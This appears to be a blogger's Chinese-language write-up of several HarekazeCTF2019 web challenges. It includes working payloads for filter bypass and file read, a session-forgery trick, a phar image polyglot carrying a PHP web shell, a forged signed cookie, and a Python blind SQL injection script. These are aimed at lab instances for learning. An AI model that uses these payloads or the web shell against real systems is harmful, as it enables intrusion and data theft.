Ricky's Blog


HarekazeCTF2019 web复现
2021-02-05

HarekazeCTF2019 web复现

HarekazeCTF2019 web复现
源码: https://github.com/TeamHarekaze/HarekazeCTF2019-challenges

[HarekazeCTF2019]encode_and_encode

source code

<?php
error_reporting(0);
if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}
function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);

flag在/flag, 可控的参数就是page

POST /query.php HTTP/1.1
{"page":"pages/lorem.html"}

page会执行 file_get_contents, 前提是需要绕过两个if判断

if (is_valid($body) && isset($json) && isset($json['page']))
if (!$content || !is_valid($content))

is_valid过滤了一些字符, 并且在文件名和文件内容上都参与, 所以我们不能直接读取文件(flag字符肯定会出现在/flag文件里), file_get_contents 可以伪协议读取, 所以采取base64输出

php://filter/convert.base64-encode/resource=/flag
php://filter/read=convert.base64-encode/resource=/flag

json在传输时是 Unicode 编码的, 所以字符是可以通过unicode编码进行运行的, 这样就可绕过一切字符的过滤

{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}

读到base64编码后的flag, 解码即可

ZmxhZ3swNWZmMjhjMi03ZDNjLTQyNTMtYTQ5ZC1mMmU3MjgyZDBkYTl9Cg==

[HarekazeCTF2019]Avatar Uploader 1

给了源码

# config.php
<?php
    define('CLIENT_SESSION_ID', 'session');
    define('SECRET_KEY', getenv('SECRET_KEY'));
    define('UPLOAD_DIR', __DIR__ . '/uploads');
# upload.php
...
// check whether file is uploaded
    if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
      error('No file was uploaded.');
    }

    // check file size
    if ($_FILES['file']['size'] > 256000) {
      error('Uploaded file is too large.');
    }

    // check file type
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $type = finfo_file($finfo, $_FILES['file']['tmp_name']);
    finfo_close($finfo);
    if (!in_array($type, ['image/png'])) {
      error('Uploaded file is not PNG format.');
    }

    // check file width/height
    $size = getimagesize($_FILES['file']['tmp_name']);
    if ($size[0] > 256 || $size[1] > 256) {
      error('Uploaded image is too large.');
    }
    if ($size[2] !== IMAGETYPE_PNG) {
      // I hope this never happens...
      error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
    }
...

主要就是 upload.php, 需要满足这几个if判断就可以得到flag, 比较特殊的是它在判断图片是否为png时用了两个不同的函数 finfo_file 和 getimagesize

finfo_file 可以识别 png 图片(十六进制下)的第一行,而 getimagesize 不可以

因此我们只需要上传一张png图片进行抓包, 然后截断后面的部分, 就可以绕过 finfo_file 的判断并且在 getimagesize 这一块判断错误返回flag

89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

制作一行16进制的png图片然后上传即可

[HarekazeCTF2019]Easynote

给了源码

# config.php
<?php
    define('TEMP_DIR', '/var/www/tmp');
# pages/flag.php
if (is_admin()) { // 满足is_admin()给flag, 跟进发现在lib.php
      echo "Congratulations! The flag is: <code>" . getenv('FLAG') . "</code>";
    } else {
      echo "You are not an admin :(";
    }
# lib.php
function is_admin() {
  if (!isset($_SESSION['admin'])) { // 发现仅仅只是做个判断, 没有session可修改的地方
    return false;
  }
  return $_SESSION['admin'] === true;
}
# init.php
session_save_path(TEMP_DIR);
session_start();
# export.php 一个将note作为zip导出的功能
$notes = get_notes();
if (!isset($_GET['type']) || empty($_GET['type'])) {
  $type = 'zip';
} else {
  $type = $_GET['type'];
}
$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename; // 发现zip存放的位置和session存放的位置一样, 考虑伪造session
...
for ($index = 0; $index < count($notes); $index++) {
  $note = $notes[$index];
  $title = $note['title']; // 最终存入的是title 
  $title = preg_replace('/[^!-~]/', '-', $title);
  $title = preg_replace('#[/\\?*.]#', '-', $title); // delete suspicious characters
  $archive->addFromString("{$index}_{$title}.json", json_encode($note));
}

php 默认的 session 反序列化方式是 php ,其存储方式为 键名+竖线+经过serialize函数序列处理的值 ,这就可以伪造 admin 了
例如:$_SESSION['key']='value';在文件中表示为key|s:5:"value";
|N;可以把前面的数据给闭合掉,此时用下载下来的文件名中那串特殊的PHPSESSID访问就可以访问其中的admin属性get到flag了
再例如:$_SESSION['admin']=true;在文件中表示为 admin|b:1;

注册sess_账号, 然后note的title填入以下内容

|N;admin|b:1;

下载的时候type填入点.这样构造的文件路径为 /var/www/tmp/sess_-xxxxxxxxxxxxxxxx/..
因为..会被过滤所以就把note存在了和session一样的位置 /var/www/tmp/ 下

/export.php?type=.

最后得到的一个zip文件命令例如 sess_-ccdc8f6dd040a080, 然后修改PHPSESSID为 -ccdc8f6dd040a080 就可以get flag了

[HarekazeCTF2019]Avatar Uploader 2

接着1的模板, 分析2可以利用的地方

# session.php 自己写了一个创造cookie的函数
public function __construct($cookieName = 'session', $secret = 'secret') {
  $this->data = [];
  $this->secret = $secret;
  if (array_key_exists($cookieName, $_COOKIE)) {
    try {
      list($data, $signature) = explode('.', $_COOKIE[$cookieName]);
      $data = urlsafe_base64_decode($data);
      $signature = urlsafe_base64_decode($signature);

      if ($this->verify($data, $signature)) {
        $this->data = json_decode($data, true);
      }
    } catch (Exception $e) {}
  }
  $this->cookieName = $cookieName;
}
# index.php 发现两处文件包含, 第二处可控
$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);
if ($session->isset('flash')) {
  $flash = $session->get('flash');
  $session->unset('flash');
}
$avatar = $session->isset('avatar') ? 'uploads/' . $session->get('avatar') : 'default.png' ;
$session->save();
?>
...
/* common.css */
<?php include('common.css'); ?> // 第一处
/* light/dark.css */
<?php include($session->get('theme', 'light') . '.css'); ?>
/* 第二处说是切换模板但是也是从session中切换, 可控 */

SecureClientSession这个类在 session.php 中, 也就是说通过上传文件去控制这个类

# session.php 模板控制的类的函数
public function get($key, $defaultValue = null){
  if (!$this->isset($key)) { // 如果$key赋值不存在则会返回$defaultValue=light, 不然就会返回data[$key]传入的值, 跟踪data[$key]
    return $defaultValue;
  }
    return $this->data[$key];
}
# ->在set函数里面设置了data[$key]的值, 跟踪$value
public function set($key, $value){
  $this->data[$key] = $value;
}
# ->在save函数里设置了$value, 跟踪data, 
public function save() {
  $json = json_encode($this->data);
  $value = urlsafe_base64_encode($json) . '.' . urlsafe_base64_encode($this->sign($json));
  setcookie($this->cookieName, $value);
}
# 发现data是我们设置的private值, 然后再控制$this->data
public function __construct($cookieName = 'session', $secret = 'secret') {
  $this->data = [];
  $this->secret = $secret;
  if (array_key_exists($cookieName, $_COOKIE)) {
    try {
      list($data, $signature) = explode('.', $_COOKIE[$cookieName]);
      $data = urlsafe_base64_decode($data);
      $signature = urlsafe_base64_decode($signature);

      if ($this->verify($data, $signature)) {
        $this->data = json_decode($data, true);
      }
    } catch (Exception $e) {}
  }
  $this->cookieName = $cookieName;
}

这种带后缀的可以用zip:// 或phar://绕
从data的json解析后取theme($key)这个键的值, 如果没有就为light
那么, 我们可以手动加上一个theme($key)这个键, 值为pharxxx

在new对象的时候, 它会检验数据和签名

private function verify($string, $signature) {
  return password_verify($this->secret . $string, $signature);
}
private function sign($string) {
  return password_hash($this->secret . $string, PASSWORD_BCRYPT);
}
# 加密方式
function urlsafe_base64_encode($data) {
  return rtrim(str_replace(['+', '/'], ['-', '_'], base64_encode($data)), '=');
}
function urlsafe_base64_decode($data) {
  return base64_decode(str_replace(['-', '_'], ['+', '/'], $data) . str_repeat('=', 3 - (3 + strlen($data)) % 4));
}

用password_hash进行加密。然后用password_verify进行验证

使用PASSWORD_BCRYPT 做算法,将使 password 参数最长为72个字符,超过会被截断。

那么, 只要我们的data大于72, 那么它的签名就一直正确, 所以先上传一个phar文件分析session

<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

得到session

eyJuYW1lIjoiZnVja18xMjMiLCJhdmF0YXIiOiI4NzhlMDJmYS5wbmciLCJmbGFzaCI6eyJ0eXBlIjoiaW5mbyIsIm1lc3NhZ2UiOiJZb3VyIGF2YXRhciBoYXMgYmVlbiBzdWNjZXNzZnVsbHkgdXBkYXRlZCEifX0.JDJ5JDEwJFZjdGtRN2thQnAuWFVxNHRCekZBby5wYmVZTk9kc3liOVdneFZacmU2MUE5ZVN6U0dBRkE2

将点号前面部分用来解析, 用它给的加密, 取前72个字符

{"name":"fuck_123","avatar":"878e02fa.png","flash":{"type":"info","messa
# 前72个字符固定不变
ge":"Your avatar has been successfully updated!"}}

那我们就直接在后面再加个theme键值

{"name":"fuck_123","avatar":"878e02fa.png","flash":{"type":"info","message":"Your avatar has been successfully updated!"},"theme":"phar://uploads/878e02fa.png/exp"}

加密后得到新的session, 然后去index.php触发cmd即可

eyJuYW1lIjoiZnVja18xMjMiLCJhdmF0YXIiOiIwNGZhYTYwNC5wbmciLCJmbGFzaCI6eyJ0eXBlIjoiaW5mbyIsIm1lc3NhZ2UiOiJZb3VyIGF2YXRhciBoYXMgYmVlbiBzdWNjZXNzZnVsbHkgdXBkYXRlZCEifSwidGhlbWUiOiJwaGFyOi8vdXBsb2Fkcy8wNGZhYTYwNC5wbmcvZXhwIn19.JDJ5JDEwJGlBY3ZhZjZjR2I3bW1ZR0RyeUhlR2VybXVueEU5Y1N0VWlDZWFNWEVrOVN1eVc2czJBbURt

给出加密的exp

<?php
function urlsafe_base64_encode($data) {
    return rtrim(str_replace(['+', '/'], ['-', '_'], base64_encode($data)), '=');
}
function urlsafe_base64_decode($data) {
    return base64_decode(str_replace(['-', '_'], ['+', '/'], $data) . str_repeat('=', 3 - (3 + strlen($data)) % 4));
}
$session = "eyJuYW1lIjoiZnVja18xMjMiLCJhdmF0YXIiOiI4NzhlMDJmYS5wbmciLCJmbGFzaCI6eyJ0eXBlIjoiaW5mbyIsIm1lc3NhZ2UiOiJZb3VyIGF2YXRhciBoYXMgYmVlbiBzdWNjZXNzZnVsbHkgdXBkYXRlZCEifX0";
$flag = '{"name":"fuck_123","avatar":"878e02fa.png","flash":{"type":"info","message":"Your avatar has been successfully updated!"},"theme":"phar://uploads/878e02fa.png/exp"}';
print(urlsafe_base64_decode($session));
print(urlsafe_base64_encode($flag));
?>

成功截图

20210205231634371

获取flag

20210205231540880

总结一下: phar 是一系列文件的集合,通过 addFromString(filename, file_content) 写入信息,那么通过 phar://test.phar/filename 自然可以读取到,通常文件上传多可以考虑 phar

[HarekazeCTF2019]Sqlite Voting

给了源码, 在 vote.php 页面 POST 参数 id ,只能为数字, 并且在 schema.sql 中发现了 flag 表

DROP TABLE IF EXISTS `vote`;
CREATE TABLE `vote` (
  `id` INTEGER PRIMARY KEY AUTOINCREMENT,
  `name` TEXT NOT NULL,
  `count` INTEGER
);
INSERT INTO `vote` (`name`, `count`) VALUES
  ('dog', 0),
  ('cat', 0),
  ('zebra', 0),
  ('koala', 0);
DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
  `flag` TEXT NOT NULL
);
INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');

在 vote.php 中给出了查询的 SQL 语句,但是对参数进行了检测

<?php
...
function is_valid($str) {
    $banword = [
        // dangerous chars
        // " % ' * + / < = > \ _ ` ~ -
        "[\"%'*+\\/<=>\\\\_`~-]",
        // whitespace chars
        '\s',
        // dangerous functions
        'blob', 'load_extension', 'char', 'unicode',
        '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
        'in', 'limit', 'order', 'union', 'join'
    ];
    $regexp = '/' . implode('|', $banword) . '/i';
    if (preg_match($regexp, $str)) {
        return false;
    }
    return true;
}
header("Content-Type: text/json; charset=utf-8");
// check user input
if (!isset($_POST['id']) || empty($_POST['id'])) {
    die(json_encode(['error' => 'You must specify vote id']));
}
$id = $_POST['id'];
if (!is_valid($id)) {
    die(json_encode(['error' => 'Vote id contains dangerous chars']));
}
// update database
$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
    die(json_encode(['error' => 'An error occurred while updating database']));
}
// succeeded!
echo json_encode([
    'message' => 'Thank you for your vote! The result will be published after the CTF finished.'
]);

UPDATE 成功与失败分别对应了不同的页面,可以进行盲注,但是考虑到它过滤了 ' 和 " 这就无法使用字符进行判断,char 又被过滤也无法使用 ASCII 码判断
可以考虑使用 hex 进行字符判断,将所有的的字符串组合用有限的 36 个字符表示
先考虑对 flag 16 进制长度的判断,假设它的长度为 x,y 表示 2 的 n 次方,那么 x&y 就能表现出 x 二进制为 1 的位置,将这些 y 再进行或运算就可以得到完整的 x 的二进制,也就得到了 flag 的长度,而 1<<n 恰可以表示 2 的 n 次方
那么如何构造报错语句呢?在 sqlite3 中,abs 函数有一个整数溢出的报错,如果 abs 的参数是 -9223372036854775808 就会报错,同样如果是正数也会报错

判断长度的 payload

abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)

给出脚本

import requests
url = "http://b7c77f61-c892-4219-83ae-35d5a75899ca.node3.buuoj.cn/vote.php"
l = 0
for n in range(16):
    payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)'
    data = {
        'id' : payload
    }
    r = requests.post(url=url, data=data)
    print(r.text)
    if 'occurred' in r.text:
        l = l|1<<n
print(l)

然后考虑逐字符进行判断,但是 is_valid() 过滤了大部分截取字符的函数,而且也无法用 ASCII 码判断
这一题对盲注语句的构造很巧妙,首先利用如下语句分别构造出 ABCDEF ,这样十六进制的所有字符都可以使用了,并且使用 trim(0,0) 来表示空字符

# hex(b'zebra') = 7A65627261
  # 除去 12567 就是 A ,其余同理
  A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
  C = 'trim(hex(typeof(.1)),12567)'
  D = 'trim(hex(0xffffffffffffffff),123)'
  E = 'trim(hex(0.1),1230)'
  F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
  # hex(b'koala') = 6B6F616C61
  # 除去 16CF 就是 B
  B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'

然后逐字符进行爆破,已经知道 flag 格式为 flag{} ,hex(b'flag{')==666C61677B ,在其后面逐位添加十六进制字符,构成 paylaod
再利用 replace(length(replace(flag,payload,''))),84,'') 这个语句进行判断
如果 flag 不包含 payload ,那么得到的 length 必为 84 ,最外面的 replace 将返回 false ,通过 case when then else 构造 abs 参数为 0 ,它不报错
如果 flag 包含 payload ,那么 replace(flag, payload, '') 将 flag 中的 payload 替换为空,得到的 length 必不为 84 ,最外面的 replace 将返回 true ,通过 case when then else 构造 abs 参数为 0x8000000000000000 令其报错
附上脚本

# -*- coding:utf-8 -*-
import binascii
import requests
import time
URL = 'http://b7c77f61-c892-4219-83ae-35d5a75899ca.node3.buuoj.cn/vote.php'
l = 84
header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36'}
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
  for x in '0123456789ABCDEF':
    t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
    r = requests.post(URL, data={
      'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
    },headers=header)
    if 'An error occurred' in r.text:
      res += x
      break
    time.sleep(0.06)
  print(f'[+] flag ({i}/{l}): {res}')
  i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

[HarekazeCTF2019]One Quadrillion

抓包以后看到两个参数

answer=10559&progress=5998685417598565999201814640000000000000000
answer=8629&progress=8927005829009731128804742960000000000000001

发现每次的progress不一样, 真正需要匹配的是progress, 只要progress能匹配到最后一道题就可以直接获取flag, 看了源码

<?php
error_reporting(0);
function h($str)
{
  echo htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
}
function baby_hash($msg)
{
  $t = array(5676567,  858051, 5476703,  265259,
             4058727, 5112531,  964143, 1099579,
             8277687, 8717411, 2022783, 7207499,
             1997447, 5864691,  828623, 3917019
            );
  $v = array(7602007, 2906371, 4037663, 3996139);
  $n = intdiv(6 + strlen($msg), 7);
  $msg = str_pad($msg, 7 * $n, "0", STR_PAD_RIGHT);
  for($i = 0; $i < $n; $i++)
  {
    $s = intval(substr($msg, 7 * ($n - $i - 1), 7), 10);
    $k = $t[$i % 16];
    $a = $v[1 + $i % 3];
    $b = $v[1 + (1 + $i) % 3];
    $c = $v[1 + (2 + $i) % 3];
    $d = ($a * $b + $b * $c + $c * $s ^ $k) % 10000000;
    $v = array(($d + $v[1]) % 10000000, ($d | $v[2]) % 10000000, $d * $v[3] % 10000000, $d);
  }

  $r = "";
  for($i = 0; $i < 4; $i++)
  {
    $r = $r . str_pad($v[$i], 7, "0", STR_PAD_LEFT);
  }
  return $r;
}
function verify($progress, $answer, $salt)
{
  if(preg_match("/^[0-9]{43}$/", $progress) &&
     preg_match("/^[0-9]{1,5}$/", $answer) &&
     intval(substr($progress, 5, 4), 10) + intval(substr($progress, 19, 4), 10) === intval($answer, 10) &&
     baby_hash(intval(substr($progress, 28, 15), 10) . $salt) === substr($progress, 0, 28)
    )
  {
    return TRUE;
  }
  return FALSE;
}
$salt = "20988936657440586486151264256610222593863921";
usleep(200000);
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
  $progress = $_POST['progress'];
  $answer = $_POST['answer'];
  if(verify($progress, $answer, $salt))
  {
    $cleared = intval(substr($progress, 28, 22), 10) + 1;
    $new_progress = baby_hash($cleared . $salt) . str_pad(strval($cleared), 15, "0", STR_PAD_LEFT);
    $left = intval(substr($new_progress, 5, 4), 10);
    $right = intval(substr($new_progress, 19, 4), 10);
  }
  else
  {
    $cleared = 0;
    $new_progress = baby_hash("0" . $salt) . "000000000000000";
    $left = intval(substr($new_progress, 5, 4), 10);
    $right = intval(substr($new_progress, 19, 4), 10);
  }
}
else
{
    $cleared = 0;
    $new_progress = baby_hash("0" . $salt) . "000000000000000";
    $left = intval(substr($new_progress, 5, 4), 10);
    $right = intval(substr($new_progress, 19, 4), 10);
}
?>
...
<?php
if($cleared >= 1000000000000000)
{
?>
<p> Congrats, The flag for this problem is this: 
<pre>HarekazeCTF{The_prefix_representing_one_quadrillion_times_of_a_unit_is_peta.}</pre>
</p>
...
<?php h($left) ?> + <?php h($right) ?> = <input type="text" name="answer">.
<input type="hidden" name="progress" value="<?php h($new_progress) ?>">

给了加盐的值这题就特别简单, 看了它构造的index.php, 其实一直围绕着 $new_progress 进行出题和更新progress, 然后加盐的值影响以下几个步骤

$salt = "20988936657440586486151264256610222593863921";
$new_progress = baby_hash("0" . $salt) . "000000000000000";
$left = intval(substr($new_progress, 5, 4), 10);
$right = intval(substr($new_progress, 19, 4), 10);

也就是我们每做对一道题, 0会+1, 后面那一串数字也会+1, 然后baby_hash一下再拼接得到$new_progress, 再通过 $new_progress 得到相加的值, 那我们只需要直接跳到最后一题得知计算结果就可以得到flag, 附上脚本

<?php
function baby_hash($msg)
{
    $t = array(5676567,  858051, 5476703,  265259,
        4058727, 5112531,  964143, 1099579,
        8277687, 8717411, 2022783, 7207499,
        1997447, 5864691,  828623, 3917019
    );
    $v = array(7602007, 2906371, 4037663, 3996139);
    $n = intdiv(6 + strlen($msg), 7);
    $msg = str_pad($msg, 7 * $n, "0", STR_PAD_RIGHT);
    for($i = 0; $i < $n; $i++)
    {
        $s = intval(substr($msg, 7 * ($n - $i - 1), 7), 10);
        $k = $t[$i % 16];
        $a = $v[1 + $i % 3];
        $b = $v[1 + (1 + $i) % 3];
        $c = $v[1 + (2 + $i) % 3];
        $d = ($a * $b + $b * $c + $c * $s ^ $k) % 10000000;
        $v = array(($d + $v[1]) % 10000000, ($d | $v[2]) % 10000000, $d * $v[3] % 10000000, $d);
    }
    $r = "";
    for($i = 0; $i < 4; $i++)
    {
        $r = $r . str_pad($v[$i], 7, "0", STR_PAD_LEFT);
    }
    return $r;
}
$salt = "20988936657440586486151264256610222593863921";
$new_progress = baby_hash("999999999999999" . $salt) . "999999999999999";
//$new_progress = baby_hash("0" . $salt) . "000000000000000";
$left = intval(substr($new_progress, 5, 4), 10);
$right = intval(substr($new_progress, 19, 4), 10);
var_dump($new_progress, $left + $right);

成功截图

20210206002518345

不过比赛好像是没有给salt, 需要自己进行计算, 对于 crypto 确实不太懂...可以参考一下别人的思路, 附上大佬的脚本(也没看太懂...)

# x,y,d = exgcd(m, n)
# x*m+y*n = d = gcd(m, n)
def exgcd(m, n):
  if n>0:
    y,x,d = exgcd(n, m%n)
    return x, y-m/n*x, d
  else:
    return 1, 0, m
M = 10000000
# a/b
def div(a, b):
  x, y, d = exgcd(b, M)
  # x*b==d (mod 10^7)
  r = []
  if a%d==0:
    for i in range(d):
      r += [(x*(a/d)+(M/d)*i)%M]
  return r
t = [
  5676567,  858051, 5476703,  265259,
  4058727, 5112531,  964143, 1099579,
  8277687, 8717411, 2022783, 7207499,
  1997447, 5864691,  828623, 3917019]
i=3
# 0
v = [5998685, 4175985, 6599920, 1814640]
# 1
#v = [8927005, 8290097, 3112880, 4742960]
d = v[3]
pv = [0]*4
pv[1] = (v[0]-d)%M
for salt in range(1000000, 10000000):
  for pv[3] in div(v[2], d):
    # (d|pv[2])%M==v[1]
    # v[1]のビットの部分集合を列挙
    for j in range(3):
      pv[2] = v[1]+M*j
      while True:
        a = pv[1+(i+0)%3]
        b = pv[1+(i+1)%3]
        c = pv[1+(i+2)%3]
        if (a*b+b*c+c*(salt)^t[i%16])%M==d:
          print salt, pv
        if pv[2]==0:
          break
        pv[2] = (pv[2]-1)&(v[1]+M*j)        

Leave your footprints

  • [*] Admin need to check, please send and wait :) Send
  • Looking forward to your comment :)
  • CTF, AWD, Knowledge Writed By Ricky   粤ICP备2021008996号 Powered by WP && Designed by Rytia && Modified by Ricky
    返回顶部